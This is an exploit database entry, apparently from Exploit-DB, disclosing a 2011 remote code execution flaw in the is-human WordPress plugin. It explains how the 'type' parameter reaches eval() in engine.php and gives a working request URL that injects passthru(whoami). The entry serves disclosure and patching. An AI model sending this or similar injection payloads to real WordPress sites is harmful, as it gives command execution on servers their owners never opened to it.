is-human (1.4.2 and prior) Worpdress plugin.

vendor:

is-human

by:

neworder

CVSS

HIGH

Remote Code Execution

CWE

Product Name: is-human

Affected Version From: 1.4.2002

Affected Version To: 1.4.2002

Patch Exists: Yes

Related CWE: N/A

CPE: a:wordpress:wordpress:is-human

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2011

is-human (1.4.2 and prior) Worpdress plugin.

It is possible to take control of the eval() function via the 'type' parameter, when the 'action' is set to log-reset. From here we can run out own code. In order to avoid any errors we point the $is_hum->get_* array variable into $is_hum->get_ih and to close the execution without error we point it to php stored function error_log(). In between we may place our own php code and use the passthru() function to execute commands.

Mitigation:

Update to the latest version of the plugin.

Source

Exploit-DB raw data:

# Exploit Title: is-human (1.4.2 and prior) Worpdress plugin.
# Date: 16.05.2011
# Author: neworder [www.neworder-ind.net] 
# Software Link: http://wordpress.org/extend/plugins/is-human/
# Version: 1.4.2
# Tested on: Linux Platform

The vulnerability exists in /is-human/engine.php . 

It is possible to take control of the eval() function via the 'type' parameter, when the 'action' is set to log-reset. From here we can run out own code.

In order to avoid any errors we point the $is_hum->get_* array variable into $is_hum->get_ih and to close the execution without error we point it to php stored function error_log(). In between we may place our own php code and use the passthru() function to execute commands.

Execution running the linux whoami command:

http://server/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();passthru(whoami);error